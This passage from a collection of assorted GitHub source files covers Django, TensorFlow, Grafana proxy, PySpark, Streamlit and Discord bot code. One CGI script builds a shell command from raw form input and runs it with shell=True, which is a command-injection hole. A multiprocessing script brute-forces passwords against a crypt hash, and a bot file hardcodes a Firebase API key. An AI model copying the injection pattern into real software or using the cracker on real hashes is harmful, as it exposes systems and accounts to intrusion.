= [IsAuthenticated, ]\n def get(self, request, id):\n try:\n vehicle = Company_Vehicles.objects.get(id=id)\n serializers = ShowCompanyVehicles(vehicle)\n serializers_data = serializers.data\n return Response(serializers_data, status=status.HTTP_200_OK)\n except Exception as e:\n return Response({\"message\": \"Vehicle Not Found\"}, status=status.HTTP_200_OK)\n\n\nclass UpdateProfile(APIView):\n def put(self, request, id):\n # try:\n user = BasicUser.objects.get(id=id)\n serializers = Update_Customer_ProfileSerializer(instance=user, data=request.data)\n if serializers.is_valid():\n serializers.save()\n if user.role =='Customer':\n user_serializer = BasicUserSerializer(user)\n else:\n user_serializer = CompanyUserSerializer(user)\n return Response({\"data\": user_serializer.data})\n else:\n return Response(serializers.errors)\n # except Exception as e:\n # return Response({\"message\": \"User Not Found\"}, status=status.HTTP_404_NOT_FOUND)","repo_name":"sarimahmad/ShipSecure","sub_path":"accounts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":12808,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"42602270992","text":"import logging\nimport sys\nfrom typing import Optional\nimport click\nimport pandas as pd\nimport os\nimport sys\nsys.path.append(os.path.dirname(os.path.dirname(__file__)))\nfrom services.pbs_service import PBSService\nlogger = logging.getLogger(__name__)\n\nfrom dotenv import load_dotenv, find_dotenv\nload_dotenv(find_dotenv())\n\n\n@click.command()\n@click.option(\n \"--networks_dir\",\n help=\"directory to the networks files\",\n type=click.Path(exists=True),\n required=True,\n)\n@click.option(\n \"--classification_path\",\n help=\"path to network / plant species classification path, to be given as a third argument, if needed\",\n type=click.Path(exists=True),\n required=True,\n)\n@click.option(\n \"--script_path\",\n help=\"path of script to execute per network\",\n type=click.Path(exists=True, file_okay=True, readable=True),\n required=True,\n)\n@click.option(\n \"--work_dir\",\n help=\"directory of intermediate io\",\n type=click.Path(exists=True),\n required=True,\n)\n@click.option(\n \"--features_path\",\n help=\"path to hold the features across all networks\",\n type=click.Path(exists=False),\n required=True,\n)\n@click.option(\n \"--log_path\",\n help=\"path to log file\",\n type=click.Path(exists=False),\n required=True,\n)\n@click.option(\n \"--max_jobs_in_parallel\",\n help=\"maximal number of jobs that should be executed in parallel\",\n type=int,\n required=False,\n default=1900, # for API request, this limitation will prevent too many simultaneous requests issue\n)\ndef exec_by_network(networks_dir: str, classification_path: str, script_path: str, work_dir: str, features_path: str, log_path: str, max_jobs_in_parallel: int):\n\n logging.basicConfig(\n level=logging.INFO,\n format=\"%(asctime)s module: %(module)s function: %(funcName)s line %(lineno)d: %(message)s\",\n handlers=[logging.StreamHandler(sys.stdout), logging.FileHandler(str(log_path)), ],\n force=True, # run over root logger settings to enable simultaneous writing to both stdout and file handler\n )\n\n logger.info(f\"generating jobs for networks\")\n output_dir = f\"{work_dir}/features_by_network/\"\n os.makedirs(output_dir, exist_ok=True)\n networks_commands = []\n for network_path in os.listdir(networks_dir):\n input_path = f\"{networks_dir}{network_path}\"\n output_path = f\"{output_dir}{network_path.replace('.csv', '_features.csv')}\"\n commands = [os.environ.get(\"CONDA_ACT_CMD\", \"\"), f\"Rscript --vanilla {script_path} {input_path} {output_path} {classification_path}\"]\n networks_commands.append(commands)\n\n logger.info(f\"executing feature computation across {len(networks_commands)} networks\")\n PBSService.execute_job_array(work_dir=f\"{work_dir}jobs/\",\n output_dir=f\"{work_dir}jobs_output/\",\n jobs_commands=networks_commands,\n max_parallel_jobs=max_jobs_in_parallel)\n \n features = pd.concat([pd.read_csv(f\"{output_dir}{path}\") for path in os.listdir(output_dir)])\n features.to_csv(features_path, index=False)\n \nif __name__ == '__main__':\n exec_by_network()\n\n","repo_name":"halabikeren/plant_pollinator_networks","sub_path":"code/exec_by_network.py","file_name":"exec_by_network.py","file_ext":"py","file_size_in_byte":3158,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"10852050205","text":"#-*- coding: utf-8 -*-\n\nimport tensorflow as tf\n# Les Variables\n\n# I - Create Variable 11\n# II - Init Variables 51\n# III - Using Variables 67\n# IV - Sharing Variables 77\n\n# I - Create Variable\n# Best way is to use get_variable\n# which create a 3D tensor with shape (1,2,3)\nmy_var = tf.get_variable(\"my_var\",[1,2,3])\n# We can initialize the value with an initializer\nmy_int_var = tf.get_variable(\"my_int_var\",[1,2,3], dtype=tf.int32,\n initializer=tf.zeros_initializer)\n# We can initialize the value with a tensor\nother_variable = tf.get_variable(\"other_variable\", dtype=tf.int32,\n initializer=tf.constant([23, 42]))\n\n# Il existe des types de collections\n# GLOBAL_VARIABLES - var utilisé par plusieurs devices\n# TRAINABLE_VARIABLES - var utilisé par Gradient Descent\n# LOCAL_VARIABLES - var utilisé par un seul device et pas trainable\nmy_local = tf.get_variable(\"my_local\", shape=(),\n collections=[tf.GraphKeys.LOCAL_VARIABLES])\n\nmy_non_trainable = tf.get_variable(\"my_non_trainable\",shape=(),\n trainable=False)\n# on peut aussi créer des collections personalisées\ntf.add_to_collection(\"my_collection_name\", my_local)\ntf.get_collection(\"my_collection_name\")\n\n# On peut placer les varibales sur un device précis\nwith tf.device(\"/device:GPU:1\"):\n v = tf.get_variable(\"v\", [1])\n# Il est important de placer les variables au bon endroit entre\n# les workers servers et les parameters server, pour cela on utilise\n# tf.train.replica_device_setter qui place les var sur parameter server\ncluster_spec = {\n \"ps\": [\"ps0:2222\", \"ps1:2222\"], # 2 parameter server\n # 4 worker server\n \"worker\": [\"worker0:2222\", \"worker1:2222\", \"worker2:2222\"]}\n\n# v in placed in the parameter server \n# by the replica_device_setter\nwith tf.device(tf.train.replica_device_setter(cluster=cluster_spec)):\n v = tf.get_variable(\"v\", shape=[20, 20])\n\n# II - Init Variables\n# Sur tensorflow et dans la couche basse (graph + session)\n# Il faut initialiser les variables\n\n# session.run(tf.global_variables_initializer())\n# Now all variables are initialized.\n\n# Pour connaitre les variables pas encore initialisées\nprint(session.run(tf.report_uninitialized_variables()))\n\n# Pour éviter les problèmes de dépendances, on peut utiliser\n# initialized_value() qui va attendre que la var soit initialisé\n# avant d'initialiser une autre variable\nv = tf.get_variable(\"v\", shape=(), initializer=tf.zeros_initializer())\nw = tf.get_variable(\"w\", initializer=v.initialized_value() + 1)\n\n# III - Using Variables\nv = tf.get_variable(\"v\", shape=(), initializer=tf.zeros_initializer())\n# On assigne une valeure a une variable\nassignment = v.assign_add(1)\ntf.global_variables_initializer().run()\n\nsess = tf.Session()\nprint(sess.run(assignment)) #1.0 \n# or assignment.op.run()\n\n# IV - Sharing variables\n# Quand on souhaite créer des couches succintes \n# il faut soit créer soit réutiliser des variables\ninput1 = tf.random_normal([1,10,10,32])\ninput2 = tf.random_normal([1,20,20,32])\nx = conv_relu(input1, kernel_shape=[5, 5, 32, 32], bias_shape=[32])\nx = conv_relu(x, kernel_shape=[5, 5, 32, 32], bias_shape = [32]) # This fails.\n# on tente de créer plusieurs conv layers\n# on souhaite créer de nouvelles variables pour chaque couche\n# seulement ça ne marche pas comme ça\n\n# Pour créer de nouvelles variables on va définir des scopes\ndef my_image_filter(input_images):\n with tf.variable_scope(\"conv1\"):\n # Variables created here will be named \"conv1/weights\", \"conv1/biases\".\n relu1 = conv_relu(input_images, [5, 5, 32, 32], [32])\n with tf.variable_scope(\"conv2\"):\n # Variables created here will be named \"conv2/weights\", \"conv2/biases\".\n return conv_relu(relu1, [5, 5, 32, 32], [32])\n\n# Si on souhaite réutilier les variables, reuse=True\nwith tf.variable_scope(\"model\"):\n output1 = my_image_filter(input1)\nwith tf.variable_scope(\"model\", reuse=True):\n output2 = my_image_filter(input2)\n\n","repo_name":"Khallil/Machine_Learning_Practice","sub_path":"ML_Code/deep_learning/framework_practice/tensorflow/variables.py","file_name":"variables.py","file_ext":"py","file_size_in_byte":3908,"program_lang":"python","lang":"fr","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"4073344419","text":"import logging\nimport re\nimport time\n\nimport requests\nfrom django.http import HttpResponse\nfrom oa_settings import Settings\nfrom rest_framework.reverse import reverse\n\nfrom rest_client import RestClient\n\nlogger = logging.getLogger(__name__)\n\n\nclass GrafanaProxy(RestClient):\n _instance = None\n\n @staticmethod\n def instance():\n \"\"\"\n :rtype: GrafanaProxy\n \"\"\"\n if GrafanaProxy._instance is None:\n ssl = Settings.GRAFANA_API_SCHEME.lower() == 'https'\n GrafanaProxy._instance = GrafanaProxy(Settings.GRAFANA_API_HOST,\n Settings.GRAFANA_API_PORT,\n Settings.GRAFANA_API_USERNAME,\n Settings.GRAFANA_API_PASSWORD,\n ssl)\n return GrafanaProxy._instance\n\n def __init__(self, host, port, username, password, ssl=False):\n super(GrafanaProxy, self).__init__(host, port, 'Grafana', ssl, auth=(username, password))\n self.token = None\n\n def _is_logged_in(self):\n return True\n\n @staticmethod\n def has_credentials():\n return Settings.has_values('GRAFANA_API_')\n\n @RestClient.api_get('/api/org/users', resp_structure='[*]')\n @RestClient.requires_login\n def is_service_online(self, request=None):\n return request()\n\n\ndef fix_path(path):\n \"\"\"\n :type path: str\n :rtype: str\n \"\"\"\n replaced_path = re.sub('(\\w+/)?api/grafana', '', path)\n replaced_path = re.sub(r'^/+(.*)', r'/\\1', replaced_path)\n replaced_path = replaced_path.rstrip('/')\n return replaced_path\n\n\ndef get_grafana_api_response(request, path):\n path = fix_path(path)\n\n base_url_prefix = reverse('grafana', args=['/']).rstrip('/') # e.g. /openattic/api\n params = request.GET.copy()\n scheme = 'https' if Settings.GRAFANA_API_SCHEME.lower() == 'https' else 'http'\n url = '{}://{}:{}/{}'.format(scheme, Settings.GRAFANA_API_HOST, Settings.GRAFANA_API_PORT,\n path.lstrip('/'))\n auth = (Settings.GRAFANA_API_USERNAME, Settings.GRAFANA_API_PASSWORD)\n\n headers = {header.replace(r'HTTP_', ''): value for header, value\n in request.META.items()\n if header.startswith('HTTP_') or header.lower() == 'content_type'}\n\n if 'AUTHORIZATION' in headers:\n headers.pop('AUTHORIZATION')\n\n if 'REFERER' in headers:\n headers['REFERER'] = headers['REFERER'].replace(base_url_prefix, '')\n\n nheaders = {}\n for key, value in headers.items():\n nheaders[key.replace('_', '-')] = value\n\n if 'COOKIE' in request.META:\n cookies = request.META['COOKIE']\n auth = None\n else:\n cookies = None\n\n response = requests.request(request.method, url, data=request.body, params=params,\n auth=auth,\n headers=nheaders, cookies=cookies)\n\n # General replacements to make basics work and other adjustments.\n\n replacements = {\n 'href=\\'/': 'href=\\'{base_url}/',\n 'href=\"/': 'href=\"{base_url}/',\n 'src=\"/': 'src=\"{base_url}/',\n '\"/avatar': '\"{base_url}/avatar',\n 'getUrl(\"/': 'getUrl(\"{base_url}/',\n 'getUrl()/': 'getUrl(\"{base_url}\")',\n 'url(\"/': 'url(\"{base_url}/',\n 'url(\\'/': 'url(\\'{base_url}/',\n '\"url\":\"/': '\"url\":\"{base_url}/',\n 'get(\"/': 'get(\"{base_url}/',\n 'get(\\'/': 'get(\\'{base_url}/',\n 'put(\"/': 'put(\"{base_url}/',\n 'put(\\'/': 'put(\\'{base_url}/',\n 'post(\"/': 'post(\"{base_url}/',\n 'post(\\'/': 'post(\\'{base_url}/',\n 'delete(\"/': 'delete(\"{base_url}/',\n 'delete(\\'/': 'delete(\\'{base_url}/',\n 'd.default.appSubUrl+a.$location.path()': '\"{base_url}/profile\"',\n\n 'appSubUrl+\"/': 'appSubUrl+\"{base_url}/', # Home on `Dashboard search`\n\n # Deactivate main menu, but keep icon.\n ' ': ''\n '',\n\n # Enforce light theme.\n '\"light\":\"dark\"': '\"light\":\"light\"',\n 'this.style=a.style||\"dark\"': 'this.style=\"light\"',\n 'System.import(a.dark + \"!css\")': 'System.import(a.light + \"!css\")',\n\n # hide some items on navbar.\n 'dashnav-action-icons\"': 'dashnav-action-icons\" style=\"display: none\"',\n 'class=\"dashnav-move-timeframe': 'style=\"display: none\" class=\"dashnav-move-timeframe',\n 'class=\"dashnav-zoom-out': 'style=\"display: none\" class=\"dashnav-zoom-out',\n\n # hide some items on find dashboard panel\n 'class=\"search-field-wrapper\"': 'class=\"search-field-wrapper\" style=\"display: none\"',\n 'class=\"search-result-tags\"': 'class=\"search-result-tags\" style=\"display: none\"',\n 'class=\"search-button-row\"': 'class=\"search-button-row\" style=\"display: none\"',\n 'class=\"fa search-result-icon\"': 'style=\"display: none\" class=\"search-result-icon\"',\n }\n\n content = response.content\n\n lpad, rpad = 20, 20\n position = 0\n for search, replacement in replacements.items():\n replacement = replacement.format(base_url=base_url_prefix)\n\n while True:\n position = content.find(search, position)\n if position == -1:\n position = 0\n break\n\n original_context = content[position - lpad:position + len(search) + rpad]\n content = content[:position] + content[position:].replace(search, replacement, 1)\n replaced_context = content[position - lpad:position + len(replacement) + rpad]\n\n logger.debug(\n 'Replaced {} with {} '.format(original_context, replaced_context))\n\n position += len(replacement)\n\n content = re.sub(r'grafana\\.(light|dark)\\.min\\.(\\w+?)\\.css',\n r'grafana.light.min.css?cache_buster=\\2',\n content)\n\n # Replacements based on paths.\n\n if re.search(r'grafana\\.(light|dark)\\.(min\\.)?(\\w+\\.)?css', path):\n content += '[ng-if=\"::showSettingsMenu\"] { display:none; } '\n content += '[ng-show=\"::dashboardMeta.canShare\"] { display:none; } '\n content += '[ng-click=\"addRowDefault()\"] { display: none; } '\n content += '.dash-row-menu-container { display: none; } '\n content += '.search-results-container .search-item-dash-home { display: none !important; } '\n\n # Hides the dashboard select box of Grafana on various pages.\n if any(search in path for search in ('ceph-osd', 'ceph-pools', 'ceph-rbd', 'node-statistics',\n 'ceph-object-gateway-users')):\n tag = ''\n tag = tag.format(content=\"\"\"\n .navbar-section-wrapper { display: none }\n \"\"\")\n content = re.sub(r'', tag + '', content)\n\n if any(search in path for search in ['ceph-osd', 'ceph-pools', 'node-statistics']):\n tag = ''\n tag = tag.format(content=\"\"\"\n .submenu-controls > div.submenu-item:nth-child(n+2) { display: none !important; }\n \"\"\")\n\n content = re.sub(r'', tag + '', content)\n\n if 'node-statistics' in path:\n content = re.sub(r'', \"\"\"\"\"\" + '', content)\n\n proxy_response = HttpResponse(content, response.status_code)\n\n for key, value in response.headers.items():\n if key.lower() in ['content-type', 'cookie', 'set-cookie']:\n proxy_response[key] = value\n\n return proxy_response\n","repo_name":"openattic/openattic","sub_path":"backend/grafana/grafana_proxy.py","file_name":"grafana_proxy.py","file_ext":"py","file_size_in_byte":8053,"program_lang":"python","lang":"en","doc_type":"code","stars":56,"dataset":"github-code","pt":"48"} +{"seq_id":"71704364946","text":"import os\nimport sys\nimport tempfile\n\nfrom pyspark.sql import SparkSession\n\n# from 01_HelloSpark.lib.utils import get_spark_app_config\n_tmp = __import__(\"01_HelloSpark.lib.utils\", fromlist=[\"get_spark_app_config\"])\n\nif __name__ == \"__main__\":\n conf = _tmp.get_spark_app_config() # get_spark_app_config()\n\n os.environ['PYSPARK_PYTHON'] = sys.executable # Set Python file path need for tempfile\n os.environ['PYSPARK_DRIVER_PYTHON'] = sys.executable\n\n spark = SparkSession \\\n .builder \\\n .appName(\"01_HelloSpark\") \\\n .master(\"local[2]\") \\\n .getOrCreate()\n\n with tempfile.TemporaryDirectory() as d:\n # Write a DataFrame into a CSV file\n df = spark.createDataFrame([{\"age\": 40, \"name\": \"Kanan\"}, {\"age\": 39, \"name\": \"Stella\"},\n {\"age\": 20, \"name\": \"Null\"}])\n df.show()\n df.write.mode(\"overwrite\").format(\"csv\").save(d)\n\n # Read the CSV file as a DataFrame. Replace \"Null\" values using option 'nullValue' option to 'null'.\n spark.read.schema(df.schema) \\\n .option(\"nullValue\", \"Null\") \\\n .format('csv').load(d).show()\n\n spark.stop()\n","repo_name":"rajesh-jayagopi/PySpark3-Examples","sub_path":"22-DataFrameReader/DataFrameReader-csv.py","file_name":"DataFrameReader-csv.py","file_ext":"py","file_size_in_byte":1174,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"12433555154","text":"#!/usr/bin/env python\n\n\nimport cgi, os, sys\nfrom subprocess import Popen, PIPE\n\ndebugmode = False\nuploaddir = \"./uploads\"\nsys.stderr = sys.stdout\n\nif debugmode:\n class dummy:\n def __init__(self,s): self.value = s\n form = {'AnaName':dummy('test'),\n 'fileR1':dummy('NGS-CRISPR_S9_L099_R1_001.clean.fastq.gz'),\n 'fileR2':dummy('NGS-CRISPR_S9_L099_R2_001.clean.fastq.gz'),\n 'library':dummy('Mageck.csv'),\n 'label1':dummy('MyLable1'),\n 'label2':dummy('MyLabel2')\n }\nelse:\n form = cgi.FieldStorage()\n\nprint(\"Content-type: text/html\\n\")\nhtml = \"\"\"\n

    Analysis.page

    \n

    Analysis command

    \n

    %s

    \n\n%s\n

    Running message

    \n
    %s
    \n\"\"\"\n\ndownloadhtml= \"\"\"\n

    Download page

    \n
    \n \n \n\n
    \n\"\"\"\n\n\ndef runprocess(cmd):\n# print(\"Run porcess ...\")\n p = Popen(cmd, stdout = PIPE, stderr = PIPE ,shell=True)\n myOut, myErr = p.communicate()\n return myOut, myErr\n\ndef preparedata(anaName):\n workingdir = os.path.join(uploaddir, anaName)\n os.chdir(workingdir)\n os.system('cp ../../scripts/%s .' % scriptname)\n\n\nfrom common import *\nscriptname = 'runmageck.sh'\ndonefile = 'workdone'\n\ndef main():\n # process \n inputkeytuple = (inputAnakey, inputR1key, inputR2key, inputLibrarykey,\n inputLabel1key, inputLabel2key)\n (anaName, r1name, r2name, libname, label1, label2) = tuple(map(lambda x:\n form[x].value,\n inputkeytuple))\n cmd = './%s ./%s %s ./%s %s ./%s %s' % (scriptname, libname, label1, r1name,\n label2, r2name, anaName)\n preparedata(anaName)\n myErr, myOut = \"\", \"\"\n if not os.path.exists(\"./\" + donefile):\n myOut, myErr = runprocess(cmd)\n\n if os.path.exists(r\"./\" + donefile):\n print(html % (cgi.escape(cmd), downloadhtml % (inputAnakey, anaName, inputLibrarykey, libname), myErr + myOut) )\n else: # Error\n print(html % (cgi.escape(cmd), \" \", myErr + myOut)) # sterror\n # print(html % (\"stderror is \", myErr.decode().replace(\"\\n\", \"
    \"))) # sterror\n\ntry:\n main()\nexcept:\n print(sys.exc_info())\n\n","repo_name":"dehuagit/mypython","sub_path":"my/web/cgi-bin/analysis.py","file_name":"analysis.py","file_ext":"py","file_size_in_byte":2376,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"32269028649","text":"import numpy as np\nfrom matplotlib import pyplot as plt\nimport os,sys\n\nbscan_index = 10\nfn = os.path.join('bscan_npy','scan_%03d.npy'%bscan_index)\nbscan = np.load(fn)\n\n# simple show:\nplt.figure()\nplt.imshow(np.abs(bscan),cmap='gray')\nplt.colorbar()\n\n\n# flexible x and y scaling, to fit figure:\nplt.figure(figsize=(6,3))\nplt.imshow(np.abs(bscan),cmap='gray',aspect='auto')\n\n# contrast limits\nupper = np.mean(np.abs(bscan)) + 4*np.std(np.abs(bscan))\nlower = np.mean(np.abs(bscan)) + 0.5*np.std(np.abs(bscan))\nplt.figure()\nplt.imshow(np.abs(bscan),cmap='gray',clim=(lower,upper))\n\n# log, with contrast limits in dB\n# reasonable dynamic range is about 40 dB, e.g.\n# 40 to 80 dB or 35 to 75 dB\nplt.figure(figsize=(4,3))\nplt.imshow(20*np.log10(np.abs(bscan)),cmap='gray',clim=(40,80))\nplt.colorbar()\nplt.savefig('bscan.png',dpi=300)\nplt.show()\n","repo_name":"rjonnal/octoblob_old","sub_path":"tests/test_show_bscan.py","file_name":"test_show_bscan.py","file_ext":"py","file_size_in_byte":838,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"23420905881","text":"# importing libraries\r\nimport streamlit as st\r\nfrom streamlit import components\r\nimport tensorflow as tf\r\nimport lime\r\nimport lime.lime_tabular\r\nimport pandas as pd\r\nimport numpy as np\r\nfrom streamlit import components\r\nimport streamlit.components.v1 as components\r\n\r\n# Load model\r\nload_model = tf.keras.models.load_model(\"Water.h5\")\r\n\r\n# read csv dataset \r\ndf = pd.read_csv(\"latest_water1.csv\")\r\nX = df.drop(['is_safe'], 1)\r\n\r\ndef main():\r\n st.title(\"Water Prediction\")\r\n #\taluminium\tarsenic\tcadmium\tchloramine\tchromium\r\n #aluminium - dangerous if greater than 2.8\r\n #arsenic - dangerous if greater than 0.01\r\n # cadmium - dangerous if greater than 0.005\r\n # chloramine - dangerous if greater than 4\r\n # chromium - dangerous if greater than 0.1\r\n aluminium = st.slider(\"Number of Aluminium\",min_value=0.0,max_value=10.0,step=0.01) #slider for aluminium\r\n st.write(\"The number of Aluminium is \", aluminium)\r\n arsenic = st.text_input(\"Number of Arsenic\") #input for aarsenic\r\n st.write(\"The number of Aluminium is \", arsenic)\r\n cadmium = st.text_input(\"Number of Cadmium\") #input for cadmium\r\n st.write(\"The number of Cadmium is \", cadmium)\r\n chloramine = st.slider(\"Number of Chloramine\",min_value=0.0,max_value=10.0,step=0.01) #slider for chloramine\r\n st.write(\"The number of Chloramine is \", chloramine)\r\n chromium = st.text_input(\"Number of Chromium\") #input for chromium\r\n st.write(\"The number of Chromium is \", chromium)\r\n\r\n \r\n if st.button('Test Result'): \r\n # Validation for if there are no input print error message\r\n if aluminium <= 0 and len(arsenic) <= 0 and len(cadmium) <= 0 and chloramine <= 0 and len(chromium) <= 0:\r\n st.error(\"Please fill in all the input\")\r\n else:\r\n # Make prediction\r\n input_data = ([[aluminium,float(arsenic),float(cadmium),chloramine,float(chromium)]]) \r\n def prob(data):\r\n y_pred=load_model.predict(data).reshape(-1, 1)\r\n y_pred =(y_pred>0.65)\r\n return np.hstack((1-y_pred,y_pred))\r\n\r\n prediction = load_model.predict(input_data) # predicting with the model\r\n if (prediction <= 0.70):\r\n st.success('Not Safe')\r\n else:\r\n st.success('Safe') \r\n\r\n #Convert Input testing data to pandas series\r\n lst = ['Aluminium','Arsenic','Cadmium','Chloramine','Chromium']\r\n ss = pd.Series(input_data[0], lst)\r\n # Display LIME explainer\r\n columns = ['aluminium', 'arsenic', 'cadmium', 'chloramine', 'chromium']\r\n explainer = lime.lime_tabular.LimeTabularExplainer(X[list(X.columns)].astype(int).values, mode='classification',class_names=['Not Safe', 'Safe'],feature_names=list(X.columns))\r\n exp = explainer.explain_instance(ss, prob)\r\n exp.show_in_notebook(show_table=True)\r\n html = exp.as_html()\r\n components.html(html, height=800)\r\n\r\n\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n main()","repo_name":"bwan910/Water-Quality-Classfication","sub_path":"Streamlit_water_quality_prediction/application.py","file_name":"application.py","file_ext":"py","file_size_in_byte":2869,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"2408137519","text":"from crypt import crypt\nimport multiprocessing\n#from passlib.hash import sha256_crypt as sha256\n\n############\n# LoopCode #\n############\ndef loopCode(start, stop, findWord, salt, bases, loopCount, stopEvent):\n\tloopCount.value = 0\n\tfor i in range(start, stop):\n\t\tcar1 = bases[0][i]\n\t\tprint(\"LOOPCODE - bases[0][\" + str(i) + \"] = \" + str(bases[0][i]) + \" started\")\n\t\tfor car2 in bases[1]:\n\t\t\tfor car3 in bases[2]:\n\t\t\t\tfor car4 in bases[3]:\n\t\t\t\t\tfor car5 in bases[4]:\n\t\t\t\t\t\tfor car6 in bases[5]:\n\t\t\t\t\t\t\tfor car7 in bases[6]:\n\t\t\t\t\t\t\t\tfor car8 in bases[7]:\n\t\t\t\t\t\t\t\t\tword = car1 + car2 + car3 + car4 + car5 + car6 + car7 + car8\n\t\t\t\t\t\t\t\t\t#encrypted = sha256.encrypt(word, salt=salt, rounds=5000, implicit_rounds=True)\n\t\t\t\t\t\t\t\t\tencrypted = crypt(word, salt)\n\t\t\t\t\t\t\t\t\tcurrent = str(loopCount.value) + \" word : \" + word + \" encrypt : \" + encrypted\n\t\t\t\t\t\t\t\t\tloopCount.value = loopCount.value + 1\n\t\t\t\t\t\t\t\t\t#print(current)\n\t\t\t\t\t\t\t\t\tif encrypted == findWord:\n\t\t\t\t\t\t\t\t\t\tprint(\"LOOPCODE - Found !!! : \" + current)\n\t\t\t\t\t\t\t\t\t\tstopEvent.set()\n\t\t\t\t\t\t\t\t\t\treturn\n\t\t\t\t\t\t\t\t\tif stopEvent.is_set():\n\t\t\t\t\t\t\t\t\t\tprint(\"LOOPCODE - Stopped : \" + current)\n\t\t\t\t\t\t\t\t\t\treturn\n\n\tprint(\"LOOPCODE - Finished : \" + current)\n\n#################\n# MultiLoopCode #\n#################\ndef multiLoopCode(findWord, salt, bases, loopCountTab, stopEvent):\n\n\t#Nombre d'iteration par boucle: nombre de base / nombre de loopCode voulu\n\tloopCodeNb = len(loopCountTab)\n\titerationNb = len(bases[0])//loopCodeNb\n\tprint(\"MULTILOOP - Number of loopCode oject : \" + str(loopCodeNb + 1))\n\tprint(\"MULTILOOP - Iteration per loopCode : \" + str(iterationNb + 1))\n\n\t\n\t#Boucle les serie de nombre\n\tloopI = 0 \n\tstart = 0\n\tstop = start + iterationNb\n\twhile stop < len(bases[0]):\n\t\tprint(\"MULTILOOP - Iteration \" + str(loopI) + \" [\" + bases[0][start] + \" \" + bases[0][stop] + \"] started\")\n\t\tp = multiprocessing.Process(target=loopCode, args=(start, stop, findWord, salt, bases, loopCountTab[loopI], stopEvent))\n\t\tp.start()\n\n\t\tstart = stop + 1\n\t\tstop = start + iterationNb\n\t\tloopI = loopI + 1\n\n\t#Last round\n\tif len(bases[0])%10 != 0:\n\t\tstop = len(bases[0])-1\n\t\tprint(\"MULTILOOP - Iteration \" + str(loopI) + \" [\" + bases[0][start] + \" \" + bases[0][stop] + \"] started\")\n\t\tp = multiprocessing.Process(target=loopCode, args=(start, stop, findWord, salt, bases, loopCountTab[loopI], stopEvent))\n\t\tp.start()\n\treturn\n\n\n","repo_name":"chimeji/python_pj","sub_path":"alphabet/loopCodeFunctions.py","file_name":"loopCodeFunctions.py","file_ext":"py","file_size_in_byte":2347,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"31528649273","text":"#!/usr/bin/python3\ndef square_matrix_simple(matrix=[]):\n new_matrix = []\n i = 0\n while i < len(matrix):\n element = []\n j = 0\n while j < len(matrix[i]):\n element.append(matrix[i][j] ** 2)\n j += 1\n new_matrix.append(element)\n i += 1\n return (new_matrix)\n","repo_name":"RaphSchp/holbertonschool-higher_level_programming","sub_path":"python-more_data_structures/0-square_matrix_simple.py","file_name":"0-square_matrix_simple.py","file_ext":"py","file_size_in_byte":321,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"36278218042","text":"from discord.ext.commands.core import Command\nimport pyrebase\nimport discord\nfrom discord.ext import commands\nimport random\nimport asyncio, aiohttp, os, re\nimport json\n\nconfig = {\n \"apiKey\": \"AIzaSyC1sFYKj4YArVA2H05O7d8b0qaTNkMNngg\",\n \"authDomain\": \"zeram-discord-bot.firebaseapp.com\",\n \"databaseURL\": \"https://zeram-discord-bot-default-rtdb.firebaseio.com\",\n \"projectId\": \"zeram-discord-bot\",\n \"storageBucket\": \"zeram-discord-bot.appspot.com\",\n \"messagingSenderId\": \"182331448519\",\n \"appId\": \"1:182331448519:web:68849d49452506580f32e2\",\n \"measurementId\": \"G-B8WPW2420M\"\n }\nfirebase = pyrebase.initialize_app(config)\ndb = firebase.database()\n\nclass firebaseReply(commands.Cog):\n \"\"\"Auto Reply\"\"\"\n def __init__(self, bot):\n self.bot = bot\n\n \n\n @commands.command()\n @commands.has_permissions(manage_channels=True)\n async def bind(self, ctx, channel: discord.TextChannel):\n \"\"\"Bind The channel for auto reply\"\"\"\n guild_id = str(ctx.guild.id)\n channel_id = str(channel.id)\n\n data = {\n guild_id : channel_id\n }\n \n db.child(\"Servers\").child(f\"{guild_id}\").set(data)\n await ctx.send(f\"Chat bot is bind to <#{channel_id}>\")\n\n\n @commands.command()\n @commands.has_permissions(manage_channels=True)\n async def unbind(self, ctx, channel: discord.TextChannel):\n \"\"\"Unbind the channel from auto reply\"\"\"\n guild_id = str(ctx.guild.id)\n channel_id = str(channel.id)\n servers = db.child(\"Servers\").get()\n\n obj = servers.val()\n\n if(guild_id in obj.keys()):\n if channel_id == obj[guild_id][guild_id]:\n db.child(\"Servers\").child(guild_id).remove()\n await ctx.send(f\"Unbinded Successfully from {channel}\")\n else:\n await ctx.send(\"This channel is not binded\")\n else:\n await ctx.send(\"No channel is binded in this server\")\n\n @unbind.error\n @bind.error\n async def error(self, ctx, error):\n if isinstance(error, commands.CheckFailure):\n await ctx.channel.send(f'{ctx.author.mention} You need manage channel permission to access this command')\n\n\n @commands.Cog.listener()\n async def on_message(self, message):\n channel = message.channel\n guild_id = str(message.guild.id)\n channel_id = str(channel.id)\n servers = db.child(\"Servers\").get()\n\n obj = servers.val()\n try:\n if ((guild_id in obj[guild_id]) and (channel_id == obj[guild_id][guild_id])):\n if not message.author.bot and self.bot.user.id:\n async with channel.typing():\n try:\n input = re.sub(f'<@{str(message.author.id)}>', '', message.content).strip()\n params = {'botid': 'c867aeea4e345ad2', 'custid': message.author.id, 'input': input or 'Hello'}\n async with aiohttp.ClientSession(headers={'User-agent': 'Zeram'}) as bot:\n async with bot.get('https://www.pandorabots.com/pandora/talk-xml', params=params) as resp:\n if resp.status == 200:\n text = await resp.text()\n text = text[text.find('') + 6:text.rfind('')]\n text = text.replace('"', '\"').replace('<', '<').replace('>',\n '>').replace(\n '&', '&').replace('
